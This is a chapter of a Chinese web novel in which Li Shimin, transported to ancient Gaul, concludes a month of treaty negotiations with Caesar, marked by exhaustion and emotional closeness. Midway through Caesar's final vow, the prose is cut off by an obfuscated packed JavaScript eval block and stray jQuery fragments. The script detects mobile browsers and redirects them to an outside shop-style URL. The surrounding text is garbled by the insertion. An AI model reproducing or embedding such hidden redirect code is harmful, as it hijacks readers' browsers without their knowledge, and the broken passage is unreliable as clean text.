默认冷灰
24号文字
方正启体

27. 第九章、卢格杜努姆的三十天(下)

作者:我是雪华本书字数:K更新时间:
    第九章、卢格杜努姆的三十天(下)


    三、第三周:疲劳战与意外插曲


    谈判进入第三周,双方都已疲惫不堪。


    每天六个小时的唇枪舌剑,每一条款都要反复推敲、修改、再推敲。书记官们写秃了无数支笔,羊皮纸堆积如山。


    李世民开始出现明显的体力透支。他晚上失眠,白天靠浓茶和意志力支撑。塞恩私下找过赫尔莫格尼斯,弄来一些提神的草药,但效果有限。


    列奥尼达斯同样疲惫不堪——他不仅要准确翻译,还要观察对方微表情、记录关键词、在翻译间隙低声提醒李世民潜在陷阱。


    凯撒也不轻松。他白天要谈判,晚上要处理高卢各地报来的政务,还要与罗马保持书信联系,应对元老院越来越咄咄逼人的质问。有人弹劾他在高卢“软弱”,有人散播他与东方俘虏有“不正当关系”的谣言。


    第三周的议题转向了细枝末节,但往往是这些细节,最消磨人的耐心。


    比如,关于“不得强征高卢人服役”的条款,拉比埃努斯坚持要加上“除非共和国处于紧急状态”的例外。


    “什么是‘紧急状态’?”李世民问,“谁宣布?标准是什么?如果每次需要劳力修路或运输,总督都宣布‘紧急状态’,这条款就形同虚设。”


    于是又花了两天,定义“紧急状态”的触发条件和宣布程序。


    李世民每晚与赫尔莫格尼斯钻研罗马法律史,发现“紧急状态”(tumultus)在共和早期仅用于外敌入侵,近年才被滥用。


    第三天谈判时,他直接引用公元前390年高卢人攻陷罗马后元老院的决议:“当时的‘紧急状态’明确限定为‘城市面临武装攻击时’。请问,税收纠纷是否构成‘武装攻击’?”


    西塞罗一时语塞——这个东方人连四百年前的档案都查了。


    又如,关于高卢人加入军团的待遇,李世民要求“与意大利籍士兵同酬同权”。


    卡勒努斯反对:“高卢的生活成本低于意大利,军饷应当相应调整。”


    “但他们面对的危险是一样的!”李世民拍桌而起——这是他三周来第一次失态,“他们在战场上流的血,难道因为出生地不同就更廉价吗?”


    那一刻,议事厅里的罗马军官们都沉默了。他们是军人,理解这个道理。


    凯撒看着李世民因激动而泛红的脸颊,看着那双眼睛里燃烧的、近乎悲愤的火光,心中某个地方被轻轻触动。


    “同酬。”他最终裁定,声音不大,但一锤定音。


    卡勒努斯张了张嘴,最终没再反驳。


    那天谈判结束后,凯撒让其他人先离开,只留下李世民。


    夕阳的余晖透过高窗,将议事厅染成一片温暖的金红。


    “你累了。”凯撒说,语气不再是总督对谈判对手,而像是一个观察者陈述事实。


    “你不也是?”李世民揉了揉眉心,没有掩饰疲惫。


    短暂的沉默。远处传来总督府卫兵换岗的号角声。


    “为什么?”凯撒忽然问,“为什么为这些素不相识的高卢人,做到这个地步?你本可以接受我的条件,拿着钱去希腊,过上舒适的生活。甚至……”他顿了顿,“如果你愿意,可以留在罗马。以你的才智,我能给你一个位置。”


    李世民抬起头,看着凯撒。在夕阳的光晕中,这位罗马总督的脸显得柔和了些,那些纹路里沉淀的不再只是权势,还有某种深藏的、连他自己都未必察觉的孤独。


    “因为我看过地狱。”李世民缓缓道,用的是拉丁语,但词汇简单直接,“在我的家乡,在来这里之前,我见过饿殍遍野,见过易子而食。我发誓,如果我有能力,绝不让我的子民再经历那些。”


    他站起身,走到窗前,背对凯撒:


    “但我失去了我的子民,也许我是把高卢人当成了我的子民……”


    凯撒没有说话。他想起雨夜帐篷里,这个东方人伏在膝头无声哭泣的样子。那时他以为那是软弱,现在他明白了——那是过于沉重的共情能力,是领袖最珍贵的诅咒。


    “你会毁了自己。”凯撒轻声说。


    “不至于。”李世民自信到傲慢,夕阳在他身后勾勒出金色的轮廓,“但如果能用我的能力,使几十万人活得像人……值得。”


    那一刻,凯撒心中涌起一股强烈的、危险的冲动——他想走过去,想触碰这个人的肩膀,想告诉他,他理解那种孤独,那种站在顶峰、却无人能真正对话的孤独。


    但他没有动。他是凯撒,是罗马的征服者,是高卢的总督。


    “明天继续。”他最终说,声音恢复了公事公办的平静。


    ---


    第三周的最后一天,发生了意外。


    谈判进行到下午,关于“协议监督机制”的条款。李世民提议设立一个由罗马元老、高卢长老和第三方学者组成的监督委员会,每年审查协议执行情况。


    西塞罗坚决反对:“这等于在总督之上又设了一个权力机构,绝对不行!”


    争吵愈演愈烈。李世民因为连续失眠,头痛欲裂,反应慢了半拍。西塞罗抓住一个逻辑漏洞,连续逼问,语气越来越尖锐。


    李世民试图反驳,但拉丁语词汇在脑中打结。他卡住了,脸色发白,手指无意识地按住太阳穴。


    列奥尼达斯拦住了西塞罗的步步紧逼,他们说话的声音在李世民耳中遥远得像山谷回音。


    塞恩在偏厅听不见具体内容,但能感受到气氛的紧张。她不顾卫兵阻拦冲进议事厅,正好看到李世民摇摇欲坠的一幕。


    “他需要休息!”塞恩用高卢语大喊,冲到李世民身边扶住他。


    西塞罗皱眉:“我们在谈判,女人不该——”


    “够了。”凯撒的声音响起,不大,但让整个议事厅瞬间安静。


    他站起身,走到李世民面前。李世民闭着眼,呼吸急促,额头渗出冷汗。


    “今天的谈判到此为止。”凯撒宣布,“送他回去休息。明天……休会一天。”


    拉比埃努斯惊讶:“统帅,日程——”


    “我说,休会一天。”凯撒重复,语气不容置疑。


    他看了一眼塞恩:“照顾好他。”


    那一刻,塞恩从凯撒眼中看到的,不是总督的威严,而是一种深藏的、近乎痛楚的关切。


    ??


    四、第四周:终局与暗涌


    休会的那天,李世民昏睡了整整十二个小时。


    醒来时已是黄昏。塞恩告诉他,凯撒派人送来了上好的蜂蜜、葡萄酒,还有一位希腊医生开的安神草药。


    “希腊医生?”李世民问。


    “凯撒说,你大概不信任罗马人。”塞恩把煎好的药端给他,“他……考虑得很周到。”


    李世民默默喝药。药很苦,但喝下去后,紧绷的神经确实松弛了些。


    休会日后的谈判,气氛发生了微妙的变化。


    罗马方面不再使用疲劳战术,每天只谈四个小时。西塞罗的攻势也缓和了许多,更多是就事论事。


    凯撒本人话不多,但每次僵持不下时,他会提出一些创造性的折中方案——那些方案往往既维护了罗马的核心利益,又给了高卢人实质性的空间。


    李世民意识到,凯撒在认真对待这场谈判了。不是作为征服者对投降者的施舍,而是作为两个政治实体间的对等协商。


    最后一周,他们完成了协议的所有主要条款。厚达百页的羊皮纸,涵盖了税收、驻军、司法、公民权、咨议会、监督机制等方方面面。


    这不是一份完美的协议。它充满了妥协、模糊地带和有待未来填补的空白。


    但它是一份实实在在的、白纸黑字的契约。是高卢历史上第一次,他们与罗马的统治者坐下来,谈出了一套规则——而不是单纯接受命令。


    谈判的最后一天,所有条款汇总,准备形成最终文本。


    凯撒让书记官宣读概要。当最后一个词落下时,议事厅里一片寂静。


    “那么,”凯撒看向李世民,“这就是我们一个月来的成果。你有什么最后要补充的吗?”


    李世民沉默了很久。他目光扫过那叠厚厚的羊皮纸,扫过长桌两侧疲惫但专注的面孔,最后落在凯撒脸上。


    “我只有一个问题。”他缓缓道,“总督,你会遵守它吗?不是作为法律条文,而是作为……一个承诺。”


    凯撒没有立刻回答。他站起身,走到窗前。窗外,卢格杜努姆的灯火次第亮起,这座高卢最大的城市,正在夜幕中苏醒。


    “我是一个罗马人。”凯撒背对众人,声音低沉,“罗马人重视誓言,重视契约。这份协议,我会以我的名誉和神祇见证,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224112|197539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    保证它的执行。”


    他转过身,灰蓝色的眼睛在烛光中深邃如海:


    “但我也要告诉你,政治是流动的河流。三年后,五年后,罗马的政局、高卢的情况、甚至你我的处境,都可能变化。协议可以修改,可以补充,也可能……被废弃。这是现实。”


    李世民点头:“我明白。但只要有了这份协议,有了这个起点,高卢人就知道了什么是可能的。即使未来有变,他们也会记得,曾经有过一种不同的活法——不是只能跪着,而是可以站着谈判。”


    凯撒的嘴角勾起一丝极淡的、近乎赞赏的笑意。


    “你很清醒。”他说,“那么,我们达成共识了?”


    “达成共识。”


    凯撒走回长桌,伸出右手。不是罗马人的握手礼,而是手掌向上——那是他们第一次在篝火边相遇时,他递给他无花果的手势。


    李世民看着那只手。手指修长,骨节分明,手背上有几道陈旧的伤疤,那是多年征战的印记。


    他伸出手,握住。


    掌心相触的瞬间,两人都感到一股轻微的电流——不是情欲,而是某种更深层的、灵魂层面的共振。两个站在各自文明巅峰的人,在这个异质的时空里,完成了一场超越征服与屈服的对话。


    “签约仪式定在三天后。”凯撒松开手,语气恢复公事公办,“公开场合,按罗马的礼仪。之后,你的船会在马赛准备好。”


    “我会到场。”李世民说。


    “那么……”凯撒顿了顿,忽然用汉语,极轻地说,“保重,世民。”


    李世民浑身一震。他看着凯撒,那双灰蓝色的眼睛里,此刻没有任何算计或权谋,只有一片清澈的、近乎温柔的复杂。


    “你也保重……盖乌斯。”他用拉丁语回应,没有用汉语。


    因为有些名字,有些语言,应该留在过去的时空里。


    谈判正式结束。


    李世民回到住处时,塞恩和三位长老都在等待。看到李世民脸上的表情,布罗杜斯急切地问:“成了?”


    “成了。”李世民点头,将协议副本递给他们,“不是完美的协议,但……是一个开始。”


    长老们传阅着那些密密麻麻的条款,眼中泛起泪光。他们知道,这份协议也许不能解决所有问题,但它意味着高卢人第一次被当成人来对待,而不仅仅是征服的对象。


    那天深夜,李世民独自站在庭院里,仰望星空。


    北方的星辰排列,与他记忆中的大唐夜空截然不同。这里没有紫微垣,没有北斗七星指引方向。


    但他心中那点归乡的火苗,从未熄灭。协议达成了,他的责任告一段落。接下来,是寻找回家之路的时候了。


    同一时刻,总督府书房。


    凯撒站在那面巨大的高卢地图前,手指轻轻拂过“卢格杜努姆”的位置。


    雷克斯站在身后汇报:“马赛的船已经安排好了,是‘海豚号’,一艘坚固的商船,船长是希腊人,熟悉东地中海航线。但他问目的地……”


    “告诉他,听乘客的。”凯撒说,“另外,准备一份礼物——不是钱,是实用的东西:地图、航海仪器、一些珍贵的药材。还有……”


    他犹豫了一下:“把我书房里那套托勒密的《地理学》手抄本也装上。”


    雷克斯惊讶:“统帅,那是您从亚历山大带回来的珍本——”


    “他要去的地方,比我们任何人想象的都远。”凯撒打断,“他需要最好的地图。”


    “是。”雷克斯躬身,“还有……关于谈判结束后的‘赏花’邀请,按照您的吩咐,已经安排在城外的维纳斯花园。时间定在傍晚。”


    凯撒点了点头,目光依然停留在地图上。


    “雷克斯,”他忽然问,“你说,一个人明知道前路可能是绝境,为什么还要固执地走下去?”


    亲卫队长思考了片刻:“因为……有些路,只有走了才知道是不是绝境。”


    凯撒笑了,笑容里带着一丝苦涩的自我认知。


    “是啊。”他轻声说,“就像我选择回罗马,就像他选择回东方……我们都是固执的人。”


    窗外,卢格杜努姆的灯火在夜色中绵延,像一条光的河流,流向不可知的远方。


    三十天的谈判结束了。


    但两个人的故事,也许才刚刚开始。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)